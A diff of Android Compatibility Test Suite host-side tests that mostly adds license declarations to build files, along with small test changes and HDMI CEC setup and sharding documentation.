diff --git a/hostsidetests/devicepolicy/app/SeparateProfileChallenge/Android.bp b/hostsidetests/devicepolicy/app/SeparateProfileChallenge/Android.bp
index ab5465e..b925514 100644
--- a/hostsidetests/devicepolicy/app/SeparateProfileChallenge/Android.bp
+++ b/hostsidetests/devicepolicy/app/SeparateProfileChallenge/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsSeparateProfileChallengeApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/SharingApps/Android.bp b/hostsidetests/devicepolicy/app/SharingApps/Android.bp
index 161a32c..b0ac177 100644
--- a/hostsidetests/devicepolicy/app/SharingApps/Android.bp
+++ b/hostsidetests/devicepolicy/app/SharingApps/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "SharingApp1",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/SimpleApp/Android.bp b/hostsidetests/devicepolicy/app/SimpleApp/Android.bp
index 3b80c07..c654642 100644
--- a/hostsidetests/devicepolicy/app/SimpleApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/SimpleApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsSimpleApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/SimplePreMApp/Android.bp b/hostsidetests/devicepolicy/app/SimplePreMApp/Android.bp
index 132b724..f17a192 100644
--- a/hostsidetests/devicepolicy/app/SimplePreMApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/SimplePreMApp/Android.bp
@@ -14,6 +14,10 @@
 
 // This app is meant for testing device policy permission APIs on legacy apps (pre-M)
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsSimplePreMApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/SimpleSmsApp/Android.bp b/hostsidetests/devicepolicy/app/SimpleSmsApp/Android.bp
index 25c5b27..3ddae9d 100644
--- a/hostsidetests/devicepolicy/app/SimpleSmsApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/SimpleSmsApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test {
     name: "SimpleSmsApp",
     sdk_version: "test_current",
@@ -25,4 +29,4 @@
         "cts",
         "general-tests",
     ],
-}
\ No newline at end of file
+}
diff --git a/hostsidetests/devicepolicy/app/SingleAdminApp/Android.bp b/hostsidetests/devicepolicy/app/SingleAdminApp/Android.bp
index 446ae6f..83588f64 100644
--- a/hostsidetests/devicepolicy/app/SingleAdminApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/SingleAdminApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsDevicePolicySingleAdminTestApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/SuspensionChecker/Android.bp b/hostsidetests/devicepolicy/app/SuspensionChecker/Android.bp
index 14e6f55..02ff6ba 100644
--- a/hostsidetests/devicepolicy/app/SuspensionChecker/Android.bp
+++ b/hostsidetests/devicepolicy/app/SuspensionChecker/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_library {
     name: "cts-devicepolicy-suspensionchecker",
     srcs: ["src/**/*.java"],
diff --git a/hostsidetests/devicepolicy/app/TestApps/Android.bp b/hostsidetests/devicepolicy/app/TestApps/Android.bp
index 9abed34..153fd44 100644
--- a/hostsidetests/devicepolicy/app/TestApps/Android.bp
+++ b/hostsidetests/devicepolicy/app/TestApps/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "TestApp1",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/TestIme/Android.bp b/hostsidetests/devicepolicy/app/TestIme/Android.bp
index 92cae61..cde29f5 100644
--- a/hostsidetests/devicepolicy/app/TestIme/Android.bp
+++ b/hostsidetests/devicepolicy/app/TestIme/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "TestIme",
     resource_dirs: ["res"],
diff --git a/hostsidetests/devicepolicy/app/TestLauncher/Android.bp b/hostsidetests/devicepolicy/app/TestLauncher/Android.bp
index 95a60fa..4d6a2e3 100644
--- a/hostsidetests/devicepolicy/app/TestLauncher/Android.bp
+++ b/hostsidetests/devicepolicy/app/TestLauncher/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "TestLauncher",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/Android.bp b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/Android.bp
index 6a8fb52..e674981 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/TransferOwnerIncomingApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsTransferOwnerIncomingApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/Android.bp b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/Android.bp
index 0012763..d2cb5f3 100644
--- a/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/TransferOwnerOutgoingApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsTransferOwnerOutgoingApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/WidgetProvider/Android.bp b/hostsidetests/devicepolicy/app/WidgetProvider/Android.bp
index ddafb6d..506e881 100644
--- a/hostsidetests/devicepolicy/app/WidgetProvider/Android.bp
+++ b/hostsidetests/devicepolicy/app/WidgetProvider/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsWidgetProviderApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.bp b/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.bp
index f894929..790800b 100644
--- a/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.bp
+++ b/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsWifiConfigCreator",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsHostSideTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsHostSideTest.java
index 345c91e..ddaf864 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsHostSideTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CrossProfileAppsHostSideTest.java
@@ -168,6 +168,8 @@
     @LargeTest
     @Test
     public void testStartActivityIntent_sameTaskByDefault() throws Exception {
+        // TODO(b/171957840): replace with device-side test using an inter-process communication
+        //  library.
         if (!mHasManagedUserFeature) {
             return;
         }
@@ -194,6 +196,21 @@
 
     @LargeTest
     @Test
+    public void testStartActivityIntent_crossProfile_returnsResult() throws Exception {
+        // TODO(b/171957840): replace with device-side test using an inter-process communication
+        //  library.
+        if (!mHasManagedUserFeature) {
+            return;
+        }
+        verifyCrossProfileAppsApi(
+                mProfileId,
+                mPrimaryUserId,
+                START_ACTIVITY_TEST_CLASS,
+                "testStartActivityIntent_crossProfile_returnsResult");
+    }
+
+    @LargeTest
+    @Test
     public void testPrimaryUserToSecondaryUser() throws Exception {
         if (!mCanTestMultiUser) {
             return;
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index d9fc9eb..7879553 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -661,11 +661,36 @@
                     EventId.RETRIEVE_PRE_REBOOT_SECURITY_LOGS_VALUE)
                     .setAdminPackageName(DEVICE_OWNER_PKG)
                     .build());
+
+            if (isLowRamDevice()) {
+                // Requesting a bug report (in AdminActionBookkeepingTest#testRequestBugreport)
+                // leaves a state where future bug report requests will fail - usually this is
+                // handled by a NotificationListenerService but on low ram devices this isn't
+                // available so we must reboot
+                rebootAndWaitUntilReady();
+            }
+
             assertMetricsLogged(getDevice(), () -> {
                 executeDeviceTestMethod(".AdminActionBookkeepingTest", "testRequestBugreport");
             }, new DevicePolicyEventWrapper.Builder(EventId.REQUEST_BUGREPORT_VALUE)
                     .setAdminPackageName(DEVICE_OWNER_PKG)
                     .build());
+
+            if (isLowRamDevice()) {
+                // Requesting a bug report (in AdminActionBookkeepingTest#testRequestBugreport)
+                // leaves a state where future bug report requests will fail - usually this is
+                // handled by a NotificationListenerService but on low ram devices this isn't
+                // available so we must reboot
+                rebootAndWaitUntilReady();
+            }
+        }
+    }
+
+    private boolean isLowRamDevice() {
+        try {
+            return getBooleanSystemProperty("ro.config.low_ram", false);
+        } catch (DeviceNotAvailableException e) {
+            return false;
         }
     }
 
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/OrgOwnedProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/OrgOwnedProfileOwnerTest.java
index c40dade..3c2440d 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/OrgOwnedProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/OrgOwnedProfileOwnerTest.java
@@ -196,9 +196,6 @@
         removeOrgOwnedProfile();
         assertHasNoUser(mUserId);
 
-        // Make sure the user restrictions are removed before continuing
-        waitForBroadcastIdle();
-
         // User restrictions are not persist after organization-owned profile owner is removed
         runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".UserRestrictionsParentTest",
                 "testUserRestrictionDisallowConfigDateTimeIsNotPersisted", mPrimaryUserId);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/Android.bp b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/Android.bp
index 2c8d50c..7700140 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/Android.bp
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/Android.bp
@@ -14,10 +14,14 @@
  * limitations under the License.
  */
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_library_host {
     name: "device-policy-log-verifier-util",
     srcs: ["*.java"],
     libs: [
         "tradefed",
     ],
-}
\ No newline at end of file
+}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/DevicePolicyEventWrapper.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/DevicePolicyEventWrapper.java
index 71566d0..88286f3 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/DevicePolicyEventWrapper.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/metrics/DevicePolicyEventWrapper.java
@@ -24,7 +24,7 @@
 
 /**
  * Wrapper over <code>DevicePolicyEvent</code> atom as defined in
- * <code>frameworks/base/cmds/statsd/src/atoms.proto</code>.
+ * <code>frameworks/proto_logging/stats/atoms.proto</code>.
  * @see Builder
  */
 public final class DevicePolicyEventWrapper {
diff --git a/hostsidetests/dexmetadata/app/Android.bp b/hostsidetests/dexmetadata/app/Android.bp
index 9be64e6..427114b 100644
--- a/hostsidetests/dexmetadata/app/Android.bp
+++ b/hostsidetests/dexmetadata/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsDexMetadataDeviceTestApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/dexmetadata/app/SplitApp/Android.bp b/hostsidetests/dexmetadata/app/SplitApp/Android.bp
index ec148f0..de33f85 100644
--- a/hostsidetests/dexmetadata/app/SplitApp/Android.bp
+++ b/hostsidetests/dexmetadata/app/SplitApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsDexMetadataSplitApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/dexmetadata/app/SplitApp/SplitAppFeatureA/Android.bp b/hostsidetests/dexmetadata/app/SplitApp/SplitAppFeatureA/Android.bp
index df0a8bc..731227f 100644
--- a/hostsidetests/dexmetadata/app/SplitApp/SplitAppFeatureA/Android.bp
+++ b/hostsidetests/dexmetadata/app/SplitApp/SplitAppFeatureA/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsDexMetadataSplitAppFeatureA",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/dexmetadata/host/Android.bp b/hostsidetests/dexmetadata/host/Android.bp
index d40cb6c..3ae559d 100644
--- a/hostsidetests/dexmetadata/host/Android.bp
+++ b/hostsidetests/dexmetadata/host/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsDexMetadataHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitApp.dm b/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitApp.dm
index 754b4fd..4e36bdf 100644
--- a/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitApp.dm
+++ b/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitApp.dm
Binary files differ
diff --git a/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitAppFeatureA.dm b/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitAppFeatureA.dm
index 18395f4..5749372 100644
--- a/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitAppFeatureA.dm
+++ b/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitAppFeatureA.dm
Binary files differ
diff --git a/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitAppFeatureAWithVdex.dm b/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitAppFeatureAWithVdex.dm
index bc79e55..5533b90 100644
--- a/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitAppFeatureAWithVdex.dm
+++ b/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitAppFeatureAWithVdex.dm
Binary files differ
diff --git a/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitAppWithVdex.dm b/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitAppWithVdex.dm
index 4471f69..b6b4f87 100644
--- a/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitAppWithVdex.dm
+++ b/hostsidetests/dexmetadata/host/res/CtsDexMetadataSplitAppWithVdex.dm
Binary files differ
diff --git a/hostsidetests/dumpsys/Android.bp b/hostsidetests/dumpsys/Android.bp
index 3a3a2c5..99a3cbf 100644
--- a/hostsidetests/dumpsys/Android.bp
+++ b/hostsidetests/dumpsys/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsDumpsysHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/dumpsys/apps/FramestatsTestApp/Android.bp b/hostsidetests/dumpsys/apps/FramestatsTestApp/Android.bp
index f926857..7d0890e 100644
--- a/hostsidetests/dumpsys/apps/FramestatsTestApp/Android.bp
+++ b/hostsidetests/dumpsys/apps/FramestatsTestApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsFramestatsTestApp",
     defaults: ["cts_support_defaults"],
diff --git a/hostsidetests/dumpsys/apps/ProcStatsHelperApp/Android.bp b/hostsidetests/dumpsys/apps/ProcStatsHelperApp/Android.bp
index 3faa49a..85d7d94 100644
--- a/hostsidetests/dumpsys/apps/ProcStatsHelperApp/Android.bp
+++ b/hostsidetests/dumpsys/apps/ProcStatsHelperApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsProcStatsHelperApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/dumpsys/apps/ProcStatsTestApp/Android.bp b/hostsidetests/dumpsys/apps/ProcStatsTestApp/Android.bp
index a721e6e..9b97073 100644
--- a/hostsidetests/dumpsys/apps/ProcStatsTestApp/Android.bp
+++ b/hostsidetests/dumpsys/apps/ProcStatsTestApp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsProcStatsApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/dumpsys/apps/storagedapp/Android.bp b/hostsidetests/dumpsys/apps/storagedapp/Android.bp
index 7e60522..822e9a5 100644
--- a/hostsidetests/dumpsys/apps/storagedapp/Android.bp
+++ b/hostsidetests/dumpsys/apps/storagedapp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsStoragedTestApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/edi/Android.bp b/hostsidetests/edi/Android.bp
index 20f626c..d542654 100644
--- a/hostsidetests/edi/Android.bp
+++ b/hostsidetests/edi/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsEdiHostTestCases",
     srcs: ["src/**/*.java"],
diff --git a/hostsidetests/gputools/Android.bp b/hostsidetests/gputools/Android.bp
index 4b77aa4..f919a8c 100644
--- a/hostsidetests/gputools/Android.bp
+++ b/hostsidetests/gputools/Android.bp
@@ -12,6 +12,16 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    // See: http://go/android-license-faq
+    // A large-scale-change added 'default_applicable_licenses' to import
+    // all of the 'license_kinds' from "cts_license"
+    // to get the below license kinds:
+    //   SPDX-license-identifier-Apache-2.0
+    //   SPDX-license-identifier-MIT
+    default_applicable_licenses: ["cts_license"],
+}
+
 java_test_host {
     name: "CtsGpuToolsHostTestCases",
     srcs: ["src/**/*.java"],
diff --git a/hostsidetests/gputools/apps/Android.bp b/hostsidetests/gputools/apps/Android.bp
index 3cfeafb..a04ba61 100644
--- a/hostsidetests/gputools/apps/Android.bp
+++ b/hostsidetests/gputools/apps/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test_library {
     name: "libctsgputools_jni",
     gtest: false,
diff --git a/hostsidetests/gputools/layers/Android.bp b/hostsidetests/gputools/layers/Android.bp
index ef8887b..8d294d6 100644
--- a/hostsidetests/gputools/layers/Android.bp
+++ b/hostsidetests/gputools/layers/Android.bp
@@ -12,6 +12,16 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    // See: http://go/android-license-faq
+    // A large-scale-change added 'default_applicable_licenses' to import
+    // all of the 'license_kinds' from "cts_license"
+    // to get the below license kinds:
+    //   SPDX-license-identifier-Apache-2.0
+    //   SPDX-license-identifier-MIT
+    default_applicable_licenses: ["cts_license"],
+}
+
 cc_test_library {
     name: "libVkLayer_nullLayerA",
     gtest: false,
diff --git a/hostsidetests/graphics/gpuprofiling/Android.bp b/hostsidetests/graphics/gpuprofiling/Android.bp
index d3afe48..ff441bc 100644
--- a/hostsidetests/graphics/gpuprofiling/Android.bp
+++ b/hostsidetests/graphics/gpuprofiling/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsGpuProfilingDataTestCases",
     srcs: ["src/**/*.java"],
diff --git a/hostsidetests/graphics/gpuprofiling/app/Android.bp b/hostsidetests/graphics/gpuprofiling/app/Android.bp
index 9bb6ce7..0ff8fa4 100644
--- a/hostsidetests/graphics/gpuprofiling/app/Android.bp
+++ b/hostsidetests/graphics/gpuprofiling/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 cc_test {
     name: "ctsgraphicsgpucountersinit",
     srcs: [
@@ -74,4 +78,4 @@
     ],
     use_embedded_native_libs: false,
     stl: "c++_shared",
-}
\ No newline at end of file
+}
diff --git a/hostsidetests/harmfulappwarning/Android.bp b/hostsidetests/harmfulappwarning/Android.bp
index cb7d3ef..61f9372 100644
--- a/hostsidetests/harmfulappwarning/Android.bp
+++ b/hostsidetests/harmfulappwarning/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsHarmfulAppWarningHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/harmfulappwarning/sampleapp/Android.bp b/hostsidetests/harmfulappwarning/sampleapp/Android.bp
index 7eda22d..fe0685c 100644
--- a/hostsidetests/harmfulappwarning/sampleapp/Android.bp
+++ b/hostsidetests/harmfulappwarning/sampleapp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsHarmfulAppWarningSampleApp",
     // Don't include this package in any target
diff --git a/hostsidetests/harmfulappwarning/testapp/Android.bp b/hostsidetests/harmfulappwarning/testapp/Android.bp
index a6d0e88..6e008b0 100644
--- a/hostsidetests/harmfulappwarning/testapp/Android.bp
+++ b/hostsidetests/harmfulappwarning/testapp/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "CtsHarmfulAppWarningTestApp",
     dex_preopt: {
diff --git a/hostsidetests/harmfulappwarning/testapp/src/android/harmfulappwarning/testapp/HarmfulAppWarningDeviceTest.java b/hostsidetests/harmfulappwarning/testapp/src/android/harmfulappwarning/testapp/HarmfulAppWarningDeviceTest.java
index 88a3179..70f694d 100644
--- a/hostsidetests/harmfulappwarning/testapp/src/android/harmfulappwarning/testapp/HarmfulAppWarningDeviceTest.java
+++ b/hostsidetests/harmfulappwarning/testapp/src/android/harmfulappwarning/testapp/HarmfulAppWarningDeviceTest.java
@@ -45,7 +45,7 @@
 @RunWith(AndroidJUnit4.class)
 public class HarmfulAppWarningDeviceTest {
 
-    private static final long TIMEOUT_MILLIS = TimeUnit.SECONDS.toMillis(1);
+    private static final long TIMEOUT_MILLIS = TimeUnit.SECONDS.toMillis(3);
 
     private static final String ACTION_ACTIVITY_STARTED =
             "android.harmfulappwarning.sampleapp.ACTIVITY_STARTED";
diff --git a/hostsidetests/hdmicec/Android.bp b/hostsidetests/hdmicec/Android.bp
index 5fa3f52..6c74675 100644
--- a/hostsidetests/hdmicec/Android.bp
+++ b/hostsidetests/hdmicec/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 java_test_host {
     name: "CtsHdmiCecHostTestCases",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/hdmicec/AndroidTest.xml b/hostsidetests/hdmicec/AndroidTest.xml
index a0a4350..34f906e 100644
--- a/hostsidetests/hdmicec/AndroidTest.xml
+++ b/hostsidetests/hdmicec/AndroidTest.xml
@@ -16,6 +16,7 @@
 <configuration description="Config for CTS HdmiCec host test cases">
     <option name="test-suite-tag" value="cts" />
     <option name="config-descriptor:metadata" key="component" value="hdmi" />
+    <option name="config-descriptor:metadata" key="token" value="CEC_TEST_CONTROLLER" />
     <!-- Instant apps for TV is not supported. -->
     <option name="config-descriptor:metadata" key="parameter" value="not_instant_app" />
     <option name="config-descriptor:metadata" key="parameter" value="not_multi_abi" />
@@ -24,6 +25,7 @@
         <option name="cleanup-apks" value="true" />
         <option name="test-file-name" value="HdmiCecHelperApp.apk" />
     </target_preparer>
+    <target_preparer class="android.hdmicec.cts.targetprep.CecPortDiscoverer" />
     <test class="com.android.compatibility.common.tradefed.testtype.JarHostTest" >
         <option name="jar" value="CtsHdmiCecHostTestCases.jar" />
     </test>
diff --git a/hostsidetests/hdmicec/OWNERS b/hostsidetests/hdmicec/OWNERS
index e77526c..b06e97d 100644
--- a/hostsidetests/hdmicec/OWNERS
+++ b/hostsidetests/hdmicec/OWNERS
@@ -1,4 +1,3 @@
 # Bug component: 114946
-nchalko@google.com
-amyjojo@google.com
+include platform/frameworks/base:/core/java/android/hardware/hdmi/OWNERS
 marvinramin@google.com
diff --git a/hostsidetests/hdmicec/README.md b/hostsidetests/hdmicec/README.md
index f8289b2..db02090 100644
--- a/hostsidetests/hdmicec/README.md
+++ b/hostsidetests/hdmicec/README.md
@@ -1,10 +1,11 @@
 # CEC CTS testing for Android TV devices
 
-NOTE: CTS has two meanings here. HDMI defines a set of tests in **Compliance
-Test Specification** in HDMI 1.4b *HDMI Compliance Test Specification 1.4b and
+NOTE: CTS has two meanings here. HDMI defines a set of tests in the
+**Compliance Test Specification** of HDMI 1.4b
+__HDMI Compliance Test Specification 1.4b__ and
 **Android Compatibility Test Suite**.
 
-The Android Compatibility Test Suite includes specific tests from the HDMI 
+The Android Compatibility Test Suite includes specific tests from the HDMI
 Compliance Test Specification as well as other Android specific tests.
 
 ## Setup
@@ -14,8 +15,9 @@
 Running these CTS tests requires a specific HDMI layout with a CEC adapter.
 
 *   Android TV playback device
-*   CEC adapter see [External CEC Adapter instructions](cec_adapter.md)
-*   HDMI Display (aka a TV)
+*   CEC adapter, see [External CEC Adapter instructions](cec_adapter.md)
+*   Install `cec-client` binary, see [install instructions](cec_adapter.md#software)
+*   HDMI Display (aka a TV) or an HDMI fake plug
 
 ![drawing](setup.png)
 
@@ -26,3 +28,11 @@
 ```
 atest CtsHdmiCecHostTestCases
 ```
+
+To shard the test (distribute and run the tests on multiple devices), use this
+command -
+```
+./cts-tradefed run commandAndExit cts --enable-token-sharding --shard-count 3 -m CtsHdmiCecHostTestCases
+```
+
+The shard count corresponds to the number of DUTs connected to the host.
diff --git a/hostsidetests/hdmicec/app/Android.bp b/hostsidetests/hdmicec/app/Android.bp
index 2ac24a3..29045b4 100644
--- a/hostsidetests/hdmicec/app/Android.bp
+++ b/hostsidetests/hdmicec/app/Android.bp
@@ -12,6 +12,10 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
+package {
+    default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
 android_test_helper_app {
     name: "HdmiCecHelperApp",
     defaults: ["cts_defaults"],
diff --git a/hostsidetests/hdmicec/app/AndroidManifest.xml b/hostsidetests/hdmicec/app/AndroidManifest.xml
index e21fb53..de87a1f 100644
--- a/hostsidetests/hdmicec/app/AndroidManifest.xml
+++ b/hostsidetests/hdmicec/app/AndroidManifest.xml
@@ -40,6 +40,7 @@
         <activity android:name=".HdmiControlManagerHelper" >
             <intent-filter>
                 <action android:name="android.hdmicec.app.OTP" />
+                <action android:name="android.hdmicec.app.DEVICE_SELECT" />
